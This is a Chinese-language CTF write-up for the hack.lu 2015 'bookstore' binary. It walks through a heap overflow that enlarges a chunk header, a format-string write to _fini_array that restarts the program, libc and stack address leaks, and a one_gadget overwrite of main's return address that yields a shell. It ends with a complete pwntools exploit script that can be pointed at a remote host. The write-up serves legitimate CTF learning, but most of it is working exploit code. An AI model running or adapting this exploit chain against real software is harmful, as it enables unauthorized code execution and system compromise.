off-by-one-bookstore

题目 : hacklu2015_bookstore

保护

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TeMDe5HB-1642936683042)(off-by-one(bookstore)].assets/image-20220123172539218.png)

分析

题目嵌入函数层级不多

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NVeN3G3h-1642936683044)(off-by-one(bookstore)].assets/image-20220123172858380.png)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eAxHPB7P-1642936683045)(off-by-one(bookstore)].assets/image-20220123173126461.png)

该程序和平时的堆体不太一样,漏洞很明显,没有提交malloc的选项,但是选项5有个malloc(0x140)那么因为存在堆溢出漏洞,所以通过溢出ptr1到ptr2的头部进行修改为0x150再释放ptr2进行提交时因为uaf的原因即可重新分配到ptr2+dest的堆块内容信息

#------------start----------------
dele(2)
payload = b'A'*0x88
edit(1,payload + p64(0x151))

溢出修改chunk2前:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gaNwG3Eg-1642936683045)(off-by-one(bookstore)].assets/image-20220123174202758.png)

修改后:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TVp1xe69-1642936683046)(off-by-one(bookstore)].assets/image-20220123174234589.png)

利用格式化字符漏洞进行任意地址写入,从而达到程序重新执行,那么就需要构造格式化字符的数据放入dest中,从mager函数中的值最后提交的数据会将ptr1和ptr2的数据按序放入sub_ptr中,因为经过上面的溢出,此时ptr2的大小为0x150,且sub_ptr的也是这块0x150的chunk,这里有点小绕,不过gdb调试观察一下就明白了

那么修改填入chunk1的数据如下:

def sub(addr):
    sla('5: Submit\n',b'5'*8 + addr) #乘以8是为了字节对其,以便后面写入数据
target = 0x6011B8 #_fini_array地址
start = 0x400780 #start函数地址
#------------start----------------
dele(2)
payload = b'%' + bytes(str(start & 0xffff),'utf-8') + b'c%13$hn' #写入地址使程序重新执行
payload += b'%31$p%33$p'  #同时泄露后续需要的重要函数,和libc
payload += b'A'* (0x88 -len(payload))  #填充剩下的数据.使之大小为0x90
edit(1,payload + p64(0x151))
sub(p64(target)) #将目标地址写入进栈空间

得到libc

#------------leak stack----------------
ru('0x')
libc = int(rc(12),16) - (0x7f3324caa830-0x7f3324c8a000)
ru('0x')
leak = int(rc(12),16)
success('leak',leak) 
success('libc',libc)

此时栈空间:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ij2iaWR3-1642936683046)(off-by-one(bookstore)].assets/image-20220123183921964.png)

控制台打印的信息:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xQgVbktO-1642936683047)(off-by-one(bookstore)].assets/image-20220123183959962.png)

因为有了libc的地址且程序重新执行了,最后就只需要再次通过格式化字符漏洞将one_gadget写入程序main函数返回地址(原__libc_start_main处),即可getshell

#------------getshell----------------
one_gadget = libc_base + one[0]
one1 = u16(p64(one_gadget)[:2])-22  #最后2字节 +偏移
one2 = u8(p64(one_gadget)[2:3]) -6 #最后第3字节+偏移
dele(2)
payload = b'%' + bytes(str(one1),'utf-8') + b'c%13$hn' #写入地址one_gadget
payload += b'%' + bytes(str(one2),'utf-8') + b'c%14$hhn' #写入地址one_gadget
payload += b'A'* (0x88 -len(payload))
edit(1,payload + p64(0x151)) #填充剩下的数据.使之大小为0x90
ret = leak - (0x7fffb51af3c8-0x7fffb51af110) #第二次进入main函数时的返回地址,这里是固定偏移,可以通过gdb调试出来
success('one',one_gadget)
sub(p64(ret)+p64(ret+2))

最后的栈空间

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZNJ1xf2L-1642936683048)(off-by-one(bookstore)].assets/image-20220123191310331.png)

完整exp:

#! /usr/bin/python3
# -*-coding:utf-8 -*
from pwn import *
import sys

context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./bookstore"

global p
local = 1
if local:
    p = process(binary)
    e = ELF(binary)
    libc = e.libc
else:
    p = remote("111.200.241.244","58782")
    e = ELF(binary)
    libc = e.libc
    #libc = ELF('./libc_32.so.6')

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + b'\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()


def z(s='b main'):
 gdb.attach(p,s)

def success(string,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))

def pa(s='暂停!'):
  log.success('当前执行步骤 -> '+str(s))
  pause()
one = [0x45206,0x4525a,0xcc673,0xcc748,0xefa00,0xf0897,0xf5e40,0xef9f4] #2.23
#one = [0x45226,0x4527a,0xcd173,0xcd248,0xf03a4,0xf03b0,0xf1247,0xf67f0]
#idx = int(sys.argv[1])

def sub(addr):
    sla('5: Submit\n',b'5'*8 + addr) #乘以8是为了字节对其,以便后面写入数据
def dele(idx):
    sla('5: Submit\n',str(idx+2))

def edit(idx,data):
    sla('5: Submit\n',str(idx))
    if idx==1:
       sla('Enter first order:\n',data)
    else:
       sla('Enter second order:\n',data)

target = 0x6011B8
start = 0x400780
z(''' b *0x400C8E  \n c''')
#------------start----------------
dele(2)
payload = b'%' + bytes(str(start & 0xffff),'utf-8') + b'c%13$hn' #写入地址使程序重新执行
payload += b'%31$p%33$p'  #同时泄露后续需要的重要函数,和libc
payload += b'A'* (0x88 -len(payload))
edit(1,payload + p64(0x151)) #填充剩下的数据.使之大小为0x90
sub(p64(target))
#------------leak stack----------------
ru('0x')
libc_base = int(rc(12),16) - (0x7f3324caa830-0x7f3324c8a000)#固定偏移
ru('0x')
leak = int(rc(12),16)
success('leak',leak)
success('libc',libc_base)
#------------getshell----------------
one_gadget = libc_base + one[0]
one1 = u16(p64(one_gadget)[:2])-22  #最后2字节 +偏移
one2 = u8(p64(one_gadget)[2:3]) -6 #最后第3字节+偏移
dele(2)
payload = b'%' + bytes(str(one1),'utf-8') + b'c%13$hn' #写入地址one_gadget
payload += b'%' + bytes(str(one2),'utf-8') + b'c%14$hhn' #写入地址one_gadget
payload += b'A'* (0x88 -len(payload))
edit(1,payload + p64(0x151)) #填充剩下的数据.使之大小为0x90
ret = leak - (0x7fffb51af3c8-0x7fffb51af110) #第二次进入main函数时的返回地址
success('one',one_gadget)
sub(p64(ret)+p64(ret+2))
#------------end----------------
it()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值